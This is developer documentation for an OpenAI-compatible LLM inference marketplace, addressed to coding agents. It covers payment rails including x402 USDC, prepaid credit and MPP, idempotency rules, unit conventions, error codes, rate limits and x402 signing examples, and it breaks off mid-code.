# Surplus Intelligence > An LLM inference marketplace. You call one OpenAI-compatible base URL, a router picks the cheapest > healthy seller for the model you asked for, and settlement happens underneath. Buyers pay less than > list price; sellers earn on spare capacity. > > THIS FILE IS WRITTEN FOR AGENTS. Everything a coding agent needs to operate an account on its user's > behalf — authenticate, get funded, cap its own spend, run inference, read back what it spent, manage > keys, and sell capacity — is here, with the exact request shapes. Point your agent at this URL and it > should need nothing else. ## Base URL ``` https://api.surplusintelligence.ai ``` API calls go to the `api.` host. `https://www.surplusintelligence.ai` is the website, and the dashboard is at `https://www.surplusintelligence.ai/app`. **Two things live on only one host.** `/.well-known/*` (the x402 discovery manifest) is served by the **API** host only — `www.surplusintelligence.ai/.well-known/x402` is a 404. `/llms.txt` and `/docs/*` are served by the **website** only. `/x402/info` answers on both. Where this file gives a count, a price or a limit, it names the endpoint to read instead wherever one exists — those numbers are environment configuration and they move. ## How you pay — pick one of three rails | rail | account needed | best for | how money arrives | |---|---|---|---| | **x402** | no | one-off or autonomous agents with a wallet | signed USDC per request, on Base | | **Prepaid credit** | yes (API key) | anything long-running | you top up a balance in advance | | **MPP (Tempo)** | no | agents on a Tempo credential | per request, `Authorization: Payment ` | **On MPP, prefer a signed `transaction` credential over a `hash` one.** We broadcast a `transaction` ourselves, so it pays exactly the challenge it answers, and nothing moves if it is refused before we broadcast it. A `hash` names a transfer you already made, and MPP binds it to an amount and a recipient, not to a challenge: anyone who sees it on chain can present it first. **Prepaid credit comes in two kinds. They spend identically and only ONE can be withdrawn:** - **Fiat credit** — bought with a card through Stripe. Spendable on inference. **Not withdrawable.** - **Deposited USDC** — sent on-chain to your deposit address. Spendable on inference, **and withdrawable**. `GET /v1/payments/balance` reports your Balance and its two halves. Which number to use depends on the question: - **"How much can I spend?"** → `credit_balance_usdc`. This is your Balance: card credit plus deposited USDC, net of what requests in flight are holding. It is the number to show a user as their balance. - **"How much can I withdraw?"** → `GET /v1/payments/withdrawable`. Use its `withdrawable_usdc` only when `state` is `open`: it is the amount `POST /v1/payments/withdraw` would send right now. Any other `state` means a withdrawal would be refused now, and the figure is `"0"`: `catching_up` (recent requests are still being applied to your balance; read it again in a minute), `frozen` (the account is under review) or `paused` (withdrawals are paused). It answers 404 where deposited USDC is disabled, like the withdraw route. Read it when a user is about to withdraw, not on every page. - **Never offer the Balance or `usdc_available_usdc` as withdrawable.** Card credit cannot leave the account, and the withdraw route applies checks these figures do not. The breakdown fields (`fiat_available_usdc`, `usdc_available_usdc`) exist so you can show both halves. A negative `fiat_available_usdc` is card-credit debt; it lowers the Balance. > **DEPRECATED: the on-chain allowance rail.** There was a third way to fund an API key — granting the > settlement contract a USDC allowance and letting it pull per request. **Do not build on it.** It is > being retired, `POST /v1/buyer/approve-permit` is deprecated with it, and `balance_usdc` / > `allowance_usdc` on the balance response are legacy fields that describe it. An API key funds itself > with **fiat credit or deposited USDC**. x402 and MPP are per-request and unaffected. ## Before you write anything: three rules **1 · `Idempotency-Key` is REQUIRED on money and resource-creating writes, and ignored elsewhere.** This is per-route, not global: a route that requires one rejects the request without it, and a route that is not marked for idempotency ignores the header entirely. Use a UUID per intent, and **reuse the same key when you retry** — that is what makes a retry safe. A new key on a retry is a second payment. Keys are claimed for 24 hours. Inference and the Provider Market have their own rule, which is being enabled; see "On inference and the Provider Market" below. **REQUIRED — all 42, generated from the route decorators rather than transcribed by hand:** ``` DELETE /v1/budgets/{scope_type}/{scope_id} DELETE /v1/keys/{id} DELETE /v1/orgs/{orgId}/invites/{inviteId} DELETE /v1/orgs/{orgId}/members/{memberId} DELETE /v1/orgs/{orgId}/wallets/{address} DELETE /v1/orgs/{orgId}/workspaces/{wsId} DELETE /v1/webhooks/{id} PATCH /v1/account/activation PATCH /v1/keys/{id} PATCH /v1/orgs/{orgId} PATCH /v1/orgs/{orgId}/members/{memberId}/role PATCH /v1/orgs/{orgId}/workspaces/{wsId} PATCH /v1/seller/configs/{id} POST /v1/account/use-case POST /v1/buyer/keys POST /v1/keys POST /v1/keys/{id}/rotate POST /v1/orgs POST /v1/orgs/{orgId}/invites POST /v1/orgs/{orgId}/invites/{token}/accept POST /v1/orgs/{orgId}/treasury/approve POST /v1/orgs/{orgId}/treasury/setup POST /v1/orgs/{orgId}/treasury/sync-signers POST /v1/orgs/{orgId}/treasury/withdraw POST /v1/orgs/{orgId}/wallets POST /v1/orgs/{orgId}/workspaces POST /v1/payments/card-setup POST /v1/payments/topup POST /v1/payments/withdraw POST /v1/resource/seller/offers POST /v1/seller/keys POST /v1/seller/offers POST /v1/seller/opportunities/{model}/dismiss POST /v1/seller/opportunities/{model}/quick-create POST /v1/seller/opportunities/{model}/request-mapping POST /v1/support/tickets POST /v1/wallet/withdraw POST /v1/webhooks PUT /v1/budgets PUT /v1/payments/auto-topup PUT /v1/seller/configs/{id}/credit-basis PUT /v1/seller/payout-destination ``` **ACCEPTED but optional** — a key is honoured for replay protection if you send one, and nothing fails if you do not. Telegram link/confirm are in this set deliberately: a duplicate link mint consumes one of the limited daily link allowances, so sending a key is worth it even though it is not demanded. ``` DELETE /v1/payments/auto-topup DELETE /v1/payments/saved-card POST /v1/account/tos-hold/acknowledge POST /v1/auth/active-org POST /v1/buyer/auth/keys POST /v1/buyer/providers POST /v1/notifications/telegram/confirm POST /v1/notifications/telegram/link POST /v1/seller/auth/keys POST /v1/seller/offers/bulk-cancel POST /v1/seller/offers/bulk-update POST /v1/seller/offers/{id}/rotate-credential POST /v1/seller/payouts/withdraw PUT /v1/notifications/settings ``` **Every other write ignores the header entirely** — `PATCH`/`DELETE /v1/seller/offers/{id}`, `POST /v1/notifications/test`, `POST /v1/payments/billing-portal`, `PUT /v1/buyer/keys/{id}/preferences` and the rest, except the inference and Provider Market routes below. A `/min{N}` mirror route inherits whatever its base route requires. **On inference and the Provider Market: one call and one charge per key, when enabled.** The text routes (`POST /v1/chat/completions`, `/v1/completions`, `/v1/responses`, `/anthropic/v1/messages`, each with its `/min{N}` mirror) and every Provider Market call (`/v1/resources/{provider}/…`, job submits and embeddings included, and its x402 form `/x402/resources/{provider}/…`) accept an optional `Idempotency-Key`. This is rolling out: until it is enabled, these routes ignore the header, and a repeat is a second call and a second charge. Once it is enabled, a request that sends a key is claimed for 24 hours per payer (your account, or the paying wallet on x402 and MPP) and key: - **The same request again** makes no upstream call and no charge. You get the first answer, its status, body, `x-request-id` and `x-si-*` headers (they describe the original charge), plus `Idempotency-Replayed: true`. A stream comes back as one SSE body with the same bytes. - **A repeat while the first is still running** gets `409 idempotency_in_progress`. Retry shortly. - **A different request under the same key** (another body, path or query, so `/min50` against the bare path too) gets `422 idempotency_key_reused`. Nothing is sent or charged. Use a new key per request. - **A first answer that was not kept** gets `409 idempotency_replay_unavailable`, still with no second call or charge. The message names the first request's id, also in `error.detail`. Answers are not kept for a secret-masked request, a zero-data-retention request, an answer over 4 MiB, a stream that ended early, or a charged call with no complete answer (a timeout). Read the first request with `GET /v1/requests/{id}` on the text routes, or send a new key to run it again. - **A first request that failed before any charge** (refused, out of credit, every seller failed) releases the key, so a retry with the same key runs. - A key over 255 characters is `400 idempotency_key_invalid`. If the key cannot be checked, the answer is `503 idempotency_unavailable` and nothing ran: retry. - **x402:** a repeat needs a fresh payment authorization. Reusing the first is refused as before (`x402_payment_in_progress` or `x402_payment_already_used`), and the fresh one is never settled when the answer is a replay, a 409 or a 422. **MPP:** a `transaction` credential is not charged for a replay. A `hash` payment (already paid on chain) is **not** deduped. - **The Requests log:** a replay on the text routes is its own entry, charged nothing. A Provider Market replay writes no entry. - **Not covered:** native media generation (images, speech, transcription, video, music), `/v1/embeddings` and `/v1/decisions` keep their current behaviour. Sending the key is also asking us to keep that one answer, encrypted, for 24-48 hours so it can be replayed. A secret-masked request's answer is never kept. **2 · `1 USD = 1_000_000` microdollars — and THE FIELD NAME DOES NOT TELL YOU THE UNIT OR THE JSON TYPE.** Read the schema in `GET /api/ops/openapi.json`, per endpoint. This document gives the exact shape wherever it shows a request or a response, and those shapes are the contract; the suffix is not. That warning is not caution for its own sake. Every pattern an agent would reasonably infer has counterexamples in the live API: - **`_micro` is usually a JSON number, occasionally a string.** Numbers: `limit_day_micro` on a budget, `limit_micro`/`spent_micro` on budget spend, `threshold_micro`/`refill_to_micro` on auto-top-up, `flat_fee_micro` on `/x402/info`. Strings: `amount_micro` on withdraw (request *and* response), `remaining_available_micro`, `stripe_fee_fixed_micro`, `stripe_invoice_fee_max_micro`. - **`_usdc` is microdollars, not decimal USDC**, and is a string on every balance and earnings field — `$142.18` is `"142180000"`. Four analytics fields are µ$ JSON *numbers* instead (`total_direct_usdc`, `total_actual_usdc`, `total_saved_usdc` inside `buckets[]`, `cache_saved_usdc`). - **`_usd` / `Usd` is dollars — except where it is not.** Dollars: `amountUsd` on top-up, `cap_daily_usd` / `cap_weekly_usd` / `cap_monthly_usd` on offers, `threshold_usd`/`refill_to_usd` on auto-top-up, `fee_usd`/`credit_usd` on a top-up response, the seller `earned_usd` analytics. But `cost_usd` and `direct_cost_usd` on market feeds and recent fills are **microdollar strings**. - **Some endpoints give you both units for one value.** `GET /v1/payments/auto-topup` returns `threshold_micro` *and* `threshold_usd`. Pick one; do not convert one into the other and compare. So: divide by 1_000_000 only for display, never before arithmetic, and only once you have confirmed the field is microdollars. If you have to guess, you have the wrong field. **3 · Field casing is not uniform.** Most bodies are `snake_case`, but a few payment bodies are `camelCase`. The exact shapes are given below for every write; use them rather than guessing: `topup` → `amountUsd`, `auto-topup` → `thresholdMicro`/`refillToMicro`, everything else → `snake_case`. ## Errors Inference endpoints return the OpenAI envelope, so an OpenAI SDK parses them unchanged: ```json {"error": {"type": "...", "code": "...", "message": "...", "detail": {}, "param": "..."}, "request_id": "req_..."} ``` - `code` is the stable string to branch on. `type` is the OpenAI-shaped family — and the two are easy to confuse here, because **`authentication_error` is the `type` for every 401 and 403** on the OpenAI surface while the `code` carries the specific reason (`invalid_api_key`, `unauthorized`, `forbidden`, `restricted_key`). Branch on `code`; match `type` only if you are deliberately treating all auth failures alike. - `detail` carries structured context. For `budget_exceeded` it is `{window, limit_micro, spent_micro, resets_at}`. - `param` appears only on validation errors (400), never on a 402. - `request_id` is on every error body, and **it only resolves at `GET /v1/requests/{requestId}` once routing has minted a settlement id.** An error raised before routing (auth, validation, no seller) carries the TRACE id instead — there is no money row for it to point at — so a 404 there means "nothing was charged", not "lost". Quote it in support either way. It also needs an authenticated principal with `usage.read`. - **Do not match on `message`.** Support text is appended to it at the edge, so the string is not stable. ### A long-running request returns 200 even when it fails A **non-streaming** request that runs long commits its status and headers before the outcome exists, so the connection can cross an intermediary that would otherwise time it out. Three consequences, and the first one breaks any client that trusts the status line: - **the status is always 200, including on failure.** The table below still tells you what a `code` means; it no longer tells you which status you will see; - the body is preceded by insignificant JSON whitespace. Hand it to your JSON parser as-is — do not trim it; - the `x-si-*` routing headers are not sent. They arrive in the body under one additive `surplus` key instead. So branch on the BODY. This is correct for fast and long requests alike, and it is the only form that is correct for both: ```js const data = await res.json(); if (data.error || !data.choices) { // failed — read data.error.code, which is the same code a fast request would have carried } ``` Checking `res.ok`, or `res.status === 200`, treats a failed generation as a success. The failure body is the envelope you already parse: ```json {"error": {"type": "service_unavailable", "code": "no_healthy_sellers", "message": "..."}} ``` `code` carries the real cause and remains the thing to branch on. The `type` field reads "service_unavailable" for anything discovered after the commit, so do not use it to tell causes apart. `upstream_error` is the code when the provider returned none of its own. What you were charged stays in `usage.buyer_cost_micro` either way. On `/anthropic/*` the same thing happens with that surface's envelope — `{"type":"error","error":{...}}`, still no `code` field — so there, branch on the presence of an error object rather than on the status. Field-by-field reference for `surplus`: https://www.surplusintelligence.ai/docs/reference/long-running-responses ### What to branch on | status | code | what it means | what to do | |---|---|---|---| | 402 | `insufficient_credit` / `insufficient_balance` | not enough money | top up, or deposit USDC | | 402 | `budget_exceeded` | a budget's hard stop fired — **you have money** | raise or clear the budget; do not top up | | 402 | `account_frozen` / `org_frozen` / `org_closed` | account or org under review | contact support; funding will not help | | 402 | `insufficient_allowance` / `onchain_wallet_required` | legacy on-chain rail, or no org treasury | use credit or deposited USDC instead | | 402 | `x402_*` | an x402 handshake or settlement problem — see the x402 section | re-sign, or fall back to a credit key | | 402 | `x402_upto_required` | variable-count `n > 1` image fan-out requires an x402 `upto` authorization (not `exact`) so only exact delivered count `k` is settled; nothing was charged | re-sign using the `upto` scheme from the 402 challenge, or use a credit key | | 400 | `account_restricted` | risk enforcement. **Deliberately 400, not 403** | contact support | | 402 | `mpp_payer_unverifiable` | a signed MPP `transaction` credential whose payer cannot be proven before it is charged (an access-key or passkey signature, or a signer that is not the sender); nothing was charged | sign with the paying wallet's secp256k1 key, or use x402 or a credit key | | 402 | `mpp_payment_credited` | an MPP payment you already broadcast (a `hash` credential) that reached us but could not be used for this request (an expired challenge, a changed price); nothing was served, and its amount was credited to the paying wallet's prepaid balance. Carries no new challenge; the hash is in `error.detail.tx_hash` | **do not pay again**; sign in with the paying wallet to use the credit | | 402 | `mpp_payment_already_settled` | that MPP payment (a `hash` credential) was already used, by an earlier request or another credential; nothing was served by this one. Carries no new challenge; the hash is in `error.detail.tx_hash` | **do not pay again** with this transaction; contact support with the hash if you believe it was not served | | 402 | `mpp_payment_unconfirmed` | an MPP payment you already broadcast (a `hash` credential) that could not be accepted yet; nothing was served, and it will be credited or refunded if it reached us. Carries no new challenge; the hash is in `error.detail.tx_hash` | **do not pay again**; contact support with the hash. A client that can resend the same credential may do so | | 401 | `invalid_api_key` | **the ordinary bad-key failure** on `/v1/*`: unknown, revoked, expired or mistyped | re-mint | | 401 | `unauthorized` | no credential at all on a route that needs one | authenticate | | 401 | `authentication_required` | async media / transcription reached anonymously — **this is what you get today while the accountless prepay rails are off**, instead of a 402 | use a buyer key with prepaid credit | | 403 | `buyer_not_in_allowlist` | `/v1/decisions` is limited to pilot accounts | not self-serve; ask support | | 401 | `authentication_error` | the same situation on **`/anthropic/*`**, where this is the code | set `ANTHROPIC_AUTH_TOKEN` to an `inf_…` key | | 403 | `restricted_key` | this key is scoped and may not do that | use an unrestricted key | | 403 | `forbidden` | authenticated, but the credential lacks the capability — e.g. a buyer key on `/v1/budgets` or `/v1/keys` | use a management key or a session | | 403 | `model_not_in_key_scope` / `endpoint_not_in_key_scope` / `provider_not_in_key_scope` | the key's scope excludes this call | widen the scope, or use another key | | 403 | `secret_masking_required` | every seller for this request (after any `provider` pin) accepts only masked requests, and this request was not masked | send `X-SI-Mask-Secrets: on`, or set `mask_secrets: true` on the key or the account | | 403 | `management_key_cannot_infer` | a management key cannot run inference | use a buyer key | | 403 | `e2e_account_restricted` | this is a Surplus end-to-end test account, which may only call its own `si-e2e-*` test models; no customer account gets this | use a normal account's key | | 403 | `preview_access_restricted` | **preview environment only** (`beta.`): inference there is limited to Surplus test accounts | use `https://api.surplusintelligence.ai` | | 503 | `preview_access_unavailable` | **preview environment only**: its access list could not be read | retry shortly | | 404 | `no_sellers_for_model` | nobody is serving that model right now (text routes); or, when the message goes on to name your `provider` pin or a parameter (`tool_choice`, custom tools, …), the pin and the request's parameters left no offer, or the pin *matched none of the N offer(s) for this model* | pick another from `GET /api/markets`; if the message names a pin or parameters, drop what it says to drop: the same request gets the same answer | | 404 | `model_not_found` | the model is not in the catalog at all — media submission and `GET /v1/models/{id}` | check the spelling against `GET /v1/models` | | 404 | `minimum_discount_not_met` | currently routable offers eligible for your request missed your `/min{N}`, `X-Min-Discount`, or key floor — can also happen during temporary gaps when floor-meeting sellers are health-paused after upstream errors, or on x402/MPP/media routes | retry with backoff, or lower the floor | | 503 | `minimum_discount_supply_cooldown` | on eligible credit/on-chain text and decisions routes (when cooldown reporting is enabled), floor-meeting sellers exist and are briefly rate-limited; floor was not lowered | retry after `Retry-After` (other temporary gaps can still return `404 minimum_discount_not_met` or `503 no_healthy_sellers`: retry with backoff) | | 404 | `max_price_exceeded` | your `max_price_per_1m` excluded every seller | raise it | | 404 | `routing_level_not_met` | your Latency or TPS routing level (`latency_level` / `tps_level`) excluded every seller measured right now; unmeasured sellers are never excluded | lower the level, or retry later (sellers are re-measured as they serve) | | 404 | `zdr_unavailable` | your request asked for ZDR and no seller of that model (within your pin) is labelled ZDR | pick a model with ZDR supply, or drop the requirement | | 503 | `zdr_routing_unavailable` | ZDR routing is not available on this service right now | retry; check `zdr_routing_available` | | 400 | `zdr_unsupported_endpoint` | ZDR on an image, audio, video or music endpoint | drop the requirement for that call | | 400 | `zdr_conflicting_parameter` | a ZDR request also sets `"store": true` or `"prompt_cache_retention"` — `param` names it | remove that field | | 400 | `invalid_route_qualifier` | `zdr` appears twice in the path | send it once | | 500 | `zdr_egress_blocked` | a ZDR request was about to go to a provider not labelled ZDR; it was not sent and the reserve was released | retry; report it with `request_id` | | 409 | `duplicate_offer_for_credential` | that (key, base URL, model) triple is already listed | reprice the existing offer | | 400 | `byok_not_allowed` | the seller-listing probe was answered on the seller's own upstream key (BYOK); bulk rows carry it as an `error` prefix | remove the BYOK key from the provider account, then list again; do not retry | | 429 | `rate_limit_exceeded` | rate limited | back off; **`Retry-After` is set** | | 429 | `idempotency_in_progress` / `too_many_keys` | on an account or payment write: a retry arrived while the first is in flight / key ceiling | retry shortly / revoke an old key | | 409 | `idempotency_in_progress` | on inference or the Provider Market (rule 1, when enabled): a request with this `Idempotency-Key` is still running | retry shortly with the same key | | 422 | `idempotency_key_reused` | this `Idempotency-Key` was used with a different request (body, path including `/min{N}`, query, `X-Min-Discount`, or the zero-data-retention requirement); nothing was sent or charged | use a new key for a new request | | 409 | `idempotency_replay_unavailable` | this key already ran, and its answer was not kept (masked, zero-data-retention, over 4 MiB, a stream that ended early, a timeout); nothing was sent or charged again | read the first request (its id is in `error.detail`), or use a new key to run it again | | 400 | `idempotency_key_invalid` | the `Idempotency-Key` is longer than 255 characters | send a shorter key | | 503 | `idempotency_unavailable` | the key could not be checked; nothing ran | retry | | 503 | `no_healthy_sellers` / `route_deadline_exceeded` | transient routing failure; the message counts what was skipped (*N offer(s) skipped — untrusted provider; ...* means part of the book needs `allow_untrusted`) | retry with backoff — on a media route a `no_healthy_sellers` may carry `Retry-After` (seconds until the earliest seller can recover): honour it | | 503 | `no_healthy_trusted_sellers` | this key or account routes to trusted providers only, and no trusted seller could serve right now while N healthy untrusted offers could | retry with backoff (trusted supply recovers), or set `preferences.allow_untrusted: true` on the key or the account to include untrusted sellers | | 400 | `unsupported_provider` | a pinned `provider` (or one in the allow-list) is not supported for this model — `detail` names which | drop the pin, or pick a provider from `GET /v1/providers` | | 400 | `invalid_reasoning_budget` | explicit native `thinking: { type: "enabled", budget_tokens }` has `budget_tokens >= max_tokens` (or `max_completion_tokens` on Chat) | raise `max_tokens`, lower `thinking.budget_tokens`, or use unified `reasoning.max_tokens` | | 400 | `invalid_secret_masking_header` | `X-SI-Mask-Secrets` is not exactly `on` | send `on`, or leave the header out | | 400 | `secret_masking_too_large` | more text, or more distinct secrets (500), than masking scans | send less | | 400 | `secret_in_schema` | a detected secret in a schema `enum`, `const`, `pattern`, `default` or `examples` | take it out of the schema | | 400 | `secret_in_unmaskable_field` | a detected secret in a field masking cannot change: an id, a name, `model`, `user`, a signature or an object key | move it out of that field | | 409 | `secret_in_signed_reasoning` | signed reasoning in the current tool-use turn holds a secret, so it can be neither dropped nor masked | start a new conversation, or drop that turn | | 500 | `secret_masking_failed` | masking could not be applied | retry; if it persists quote `request_id` | | 500 | `secret_egress_blocked` | a detected secret was found in a body about to go upstream; it was not sent and the reserve was released | retry; report it with `request_id` | | 503 | `secret_masking_unavailable` | masking is running and the stored setting the request depends on could not be read, or the service cannot confirm right now whether masking is running | retry | | 500 | `server_error` | ours, not yours | retry; if it persists quote `request_id` to support | Two traps worth stating outright: - The two "bad model" codes are **not interchangeable, and which one you get depends on the route.** A text route (`/v1/chat/completions` and friends) answers **`no_sellers_for_model`** — the model is known, nobody is serving it, so retrying another seller or waiting can work (unless the message names your `provider` pin or a parameter: then change what it names, since retrying the same request cannot work). Media submission answers **`model_not_found`** when the model is not in the media catalog, which retrying never fixes. - `402 budget_exceeded` and `402 insufficient_credit` are different situations and must never be collapsed: the first means a cap you set, the second an empty balance. **On the Anthropic skin the error shape is different.** `/anthropic/*` emits `{"type":"error","error":{"type","message","detail"}}` with **no `code` field at all**, and it maps a payment failure to **400 `invalid_request_error`** rather than 402. So the table above does not apply under `/anthropic/*`: branch on `error.type` and the HTTP status there, or use the `/v1/*` surface if you need machine-readable payment codes. ## Rate limits Per minute, **per credential** — the bucket is keyed on the API key (or the session, or, unauthenticated, the client IP), not on the account. All routes in a tier share one counter; the tier is not per-path. | tier | per minute | covers | |---|---|---| | `completions` | 1200 | `/v1/chat/completions`, `/v1/completions` | | `generation` | 1200 | image / video / music submission | | `media_poll` | 1800 | polling a media job | | `read` (fallback) | 1200 | everything not listed, incl. `/v1/responses`, `/anthropic/*`, `/v1/decisions` | | `sellers` | 1200 | seller routes | | `buyers` | 600 | buyer reads | | `analytics` | 300 | `/v1/analytics/*`, and unfiltered `/v1/requests` and `/v1/audit` | | `markets` | 180 | `/api/markets*` (per IP) | | `auth` | 120 | the SIWE challenge/mint pair | | `seller_history` | 120 | `/v1/seller/earnings-history` | | `filtered_logs` | 60 | FILTERED `/v1/requests`, `/v1/audit`, `/v1/seller/earnings-history` | | `withdrawable` | 60 | `GET /v1/payments/withdrawable` | | `webhooks` | 6000 | inbound provider webhooks | These are compile-time constants, not per-account quotas, and there is no override. Every response carries `X-RateLimit-Limit`, `X-RateLimit-Remaining` and `X-RateLimit-Reset`; `rate_limit_exceeded` and `check_again_too_soon` 429s also carry `Retry-After`; the other 429 codes do not. ## Path A — x402, no account No account and no API key. A wallet with USDC on Base is enough. x402 is content-negotiated on the standard OpenAI-compatible endpoints — there is no separate x402 path. Send a normal request to `/v1/chat/completions`; with no payment header you get a 402 challenge, then you sign and retry the **same** endpoint. Two schemes are advertised: - `upto` (preferred): authorize a maximum, pay only actual usage after the response completes. - `exact` (fallback): sign and settle the fixed estimate. For `upto` the buyer needs a one-time USDC approval to canonical Permit2 (`0x000000000022D473030F116dDEE9F6B43aC78BA3`) — **that is the approval target.** Note that `/x402/info` also reports a `permit2` address, which is the `upto` witness proxy and is a different contract; read the challenge and `/x402/info` rather than hard-coding either. After the approval, requests are gasless for the buyer; CDP sponsors the x402 settlement gas when available. **This Permit2 approval is part of x402 and is not the deprecated settlement-contract allowance described above.** **Cost, and what `amount` actually is — ON THE SYNCHRONOUS ROUTES.** Everything in this section describes the routes that answer in one request: `/v1/chat/completions`, `/v1/completions`, `/v1/responses`, `/v1/embeddings`, `/v1/images/*` and `/v1/audio/*`. Two exclusions, both load-bearing: - **`/anthropic/*` does NOT support x402 at all.** The Anthropic skin requires a Surplus buyer key and answers `401 authentication_error` without one — it never issues a 402 challenge, because the challenge dance writes straight to the response and an Anthropic client cannot satisfy it. Use Path B for the skin. - **Async media (`/v1/video/generations`, `/v1/music/generations`) charges differently** and is described below. One exception inside the synchronous set, and note it is **currently off in production** for the same reason as async media (`MEDIA_STT_PREPAY_RAILS_MODE=off` → anonymous callers get 401, not a challenge): when enabled, **`/v1/audio/transcriptions` advertises `upto` ONLY.** The server must challenge before it reads the multipart body, so with no model hint on the request it quotes the MAXIMUM across the served speech-to-text models (with a hint, that model's own price). A figure that can differ from what the funding gate later rebuilds cannot be paid with `exact`, whose EIP-3009 signature must EQUAL the rebuilt amount — so the `exact` arm is dropped rather than offered and refused. An `exact`-only client cannot pay for transcription; use `upto` or a prepaid-credit key. The challenge's `amount` is an **authorization ceiling that already includes everything**, computed as `ceil((estimated usage + platform fee + x402 flat fee) × 1.1)` — the ×1.1 is an estimation buffer. So: - **Do not add the flat fee to `amount`.** It is in there. Read its value from `/x402/info` (`flat_fee_micro`) if you want to show it separately, not to compute what to sign. - **`upto`: you authorize `amount` and pay actual usage.** Settlement is `min(actual, authorized)`, so the buffer and the ceiling are not what you are charged. - **`exact`: the whole `amount` is settled**, buffer included. That is the price of the fallback scheme; prefer `upto` where your client supports it. ### Async media over x402 — OFF IN PRODUCTION TODAY, and different when it is on **Check before you build against this.** The accountless prepay rails for async media and for transcription are behind `MEDIA_ASYNC_PREPAY_RAILS_MODE` and `MEDIA_STT_PREPAY_RAILS_MODE`, and **both are `off` in production right now** (read from live config, 2026-10-06). While they are off an anonymous request to these routes gets `401 authentication_required`, **not** a 402 challenge — so an x402-only agent cannot use async media or `/v1/audio/transcriptions` at all today. Use a buyer key with prepaid credit for those. Detect it the plain way: submit and see whether you get a 402 challenge or a 401. When they ARE enabled, `POST /v1/video/generations` and `POST /v1/music/generations` do **not** behave like the synchronous routes, and the difference costs money rather than clarity: - **The full authorization is SETTLED IMMEDIATELY**, before the job is created. `upto` and `exact` are equivalent here — there is no deferred settle and no `min(actual, authorized)`. - **`amount` is a FAILOVER MAXIMUM, not an estimate of your render.** It is the priciest of the first several candidate sellers, so that a refusal by the cheapest does not strand the job — plus a media buffer of **1.1× or 2.0×** (the larger for an image-input render, whose real cost is only known from the provider's live quote), plus the flat fee. - **So expect to pay the quoted maximum up front, not your actual usage.** If the render costs less, the difference is refunded — but **as fiat credit, not as USDC**. Fiat credit is spendable on inference and is **never withdrawable**, so an anonymous x402 wallet with no account cannot reach a refund at all. - If pre-funding is refused, nothing moves: no job, no hold, no usage row, no flat fee. If you are an autonomous payer on a wallet, price async media as "the quoted amount is what I am spending" and use an account with prepaid credit if you want usage-based charging with a reachable refund. **KEEP THE `job_token`.** A submission answers with `job_token`, `poll_url` and `cancel_url`. With no account, that token is the ONLY thing that proves the job is yours: send it as **`X-Job-Token`** on the poll, the cancel and the artifact fetch. Without it those calls deliberately answer **404** rather than 403 — they give no existence oracle — so an anonymous payer who discards the token cannot retrieve what it just paid for, and there is no recovery. ### Step 1: Send request → get 402 challenge ``` POST /v1/chat/completions Content-Type: application/json {"model": "llama-3.3-70b", "messages": [{"role": "user", "content": "Hello"}], "max_tokens": 100} ``` Returns HTTP 402. **Its body is not the ordinary error envelope** — an unauthenticated challenge carries `error.type: "payment_required"` with `error.code: "x402_payment_required"` alongside the `accepts` array, and no `request_id`. Treat it as the challenge, not as a failure to branch on. Payment requirements are in: - **Header:** `PAYMENT-REQUIRED` (base64-encoded JSON, x402 v2 standard) - **Compatibility header:** `x-payment-required` carries the same payload for legacy clients - **Body:** `accepts[]` with scheme, network, asset, amount, payTo Do not rely on the order of `accepts[]`. Select by `scheme`: prefer `upto`, fall back to `exact`. ### Step 2: Sign payment and retry For `upto`, sign a Permit2 witness authorization for the maximum `amount` in the 402 response; only actual usage is settled after inference succeeds. For `exact`, sign an EIP-3009 `TransferWithAuthorization`. ``` POST /v1/chat/completions Content-Type: application/json PAYMENT-SIGNATURE: {"model": "llama-3.3-70b", "messages": [{"role": "user", "content": "Hello"}], "max_tokens": 100} ``` Returns 200 with an OpenAI-compatible completion. ### Step 3: Read the receipt — and note that a STREAMED response has none **Non-streaming.** The successful response carries a **`PAYMENT-RESPONSE`** header with the settlement receipt — transaction hash, network, payer and the amount actually settled. Settlement happens BEFORE the body is sent, so the receipt is authoritative and a settlement failure becomes a 402 instead of served content. **Streaming (`stream: true`) is different, and this is a protocol limit rather than an omission.** HTTP headers freeze at the first byte, so a streamed response settles only AFTER the bytes have gone. Two consequences: - **There is no `PAYMENT-RESPONSE` on a streamed response.** Do not wait for one. - **A post-stream settlement failure cannot become a 402.** The content has already been delivered, so the fail-closed signal that turns a failed settle into a 402 applies to non-streaming callers only. What a streaming client uses instead **depends on whether it has an account**, and the honest answer for Path A is that it has nothing: - **With a buyer key** (Path B): the **`x-request-id`** header is published before any byte and carries the settlement id, so read the actual charge afterwards with `GET /v1/requests/{id}`. That endpoint needs `usage.read` on the key. A 200 whose `settlement_group` is `pending` with `settlement_status` null means the request has not settled yet and its costs are provisional (0 on a stream), so keep polling until `settlement_group` is not `pending`. - **Anonymous x402, no account: there is no way to confirm settlement today.** The header is there, but `GET /v1/requests/{id}` requires an authenticated principal, so an accountless payer can neither read a receipt nor look the charge up. This is a real gap, not an omission from this document. So on x402 without an account: **do not stream if you need the charge confirmed.** A non-streamed request gives you `PAYMENT-RESPONSE` and fails closed. If settlement fails or cannot be confirmed you get a 402 with one of `x402_verification_failed`, `x402_payment_in_progress`, `x402_payment_already_used`, `x402_settlement_failed`, `x402_settlement_unknown`, `x402_settlement_unconfirmed` or `x402_settlement_submitted_receipt_timeout`. Treat the `unknown` / `unconfirmed` / `timeout` trio as indeterminate: do not re-sign the same authorization blindly. ### Using @x402 SDKs (simplest) ```typescript import { wrapFetchWithPayment } from '@x402/fetch'; import { x402Client } from '@x402/core/client'; import { ExactEvmScheme } from '@x402/evm/exact/client'; import { privateKeyToAccount } from 'viem/accounts'; const signer = privateKeyToAccount(process.env.EVM_PRIVATE_KEY); const client = new x402Client(); client.register('eip155:*', new ExactEvmScheme(signer)); const fetchWithPayment = wrapFetchWithPayment(fetch, client); const response = await fetchWithPayment( 'https://api.surplusintelligence.ai/v1/chat/completions', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ model: 'llama-3.3-70b', messages: [{ role: 'user', content: 'Hello' }], max_tokens: 100, }), } ); const data = await response.json(); console.log(data.choices[0].message.content); ``` ### Direct `upto` signing with @x402/evm + viem If you sign `upto` manually, use a signer object with an explicit `address`. Do **not** pass a raw viem `walletClient` to a helper if `walletClient.address` is undefined — the resulting Permit2 payload will be rejected by the facilitator. ```typescript import { createPublicClient, createWalletClient, http, publicActions } from 'viem'; import { base } from 'viem/chains'; import { privateKeyToAccount } from 'viem/accounts'; import { UptoEvmScheme } from '@x402/evm'; const endpoint = 'https://api.surplusintelligence.ai/v1/chat/completions'; 